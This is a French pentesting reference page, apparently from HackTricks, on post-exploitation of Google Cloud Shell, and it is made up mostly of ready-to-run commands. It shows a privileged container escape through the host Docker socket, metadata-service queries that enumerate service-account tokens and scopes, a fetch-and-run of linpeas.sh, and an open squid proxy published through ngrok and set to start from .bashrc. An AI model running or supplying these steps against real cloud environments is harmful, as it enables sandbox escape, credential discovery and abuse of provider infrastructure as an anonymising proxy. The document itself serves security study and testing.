# GCP - Post-exploitation de Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

Pour plus d'informations sur Cloud Shell, consultez :

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Évasion de conteneur

Notez que Google Cloud Shell s'exécute à l'intérieur d'un conteneur, vous pouvez **facilement échapper à l'hôte** en faisant :
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
Cela n'est pas considéré comme une vulnérabilité par Google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.

De plus, notez qu'à partir de l'hôte, vous pouvez trouver un jeton de compte de service :
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
Avec les portées suivantes :
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
Énumérer les métadonnées avec LinPEAS :
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
Après avoir utilisé [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) avec le token du Service Account **aucune permission n'a été découverte**...

### Utilisez-le comme Proxy

Si vous souhaitez utiliser votre instance de google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
```bash
sudo apt install -y squid
```
Créez un fichier **squid.conf** avec les paramètres suivants :
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
copiez le fichier **squid.conf** dans **/etc/squid**
```bash
sudo cp squid.conf /etc/squid
```
Enfin, exécutez le service squid :
```bash
sudo service squid start
```
Utilisez ngrok pour rendre le proxy accessible de l'extérieur :
```bash
./ngrok tcp 3128
```
Après avoir exécuté, copiez l'URL tcp://. Si vous souhaitez exécuter le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres de proxy de votre navigateur (squid est un serveur proxy http).

Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consultez cette page pour d'autres idées folles pour exécuter tout type de logiciel (bases de données et même Windows) dans Cloud Shell.

{{#include ../../../banners/hacktricks-training.md}}
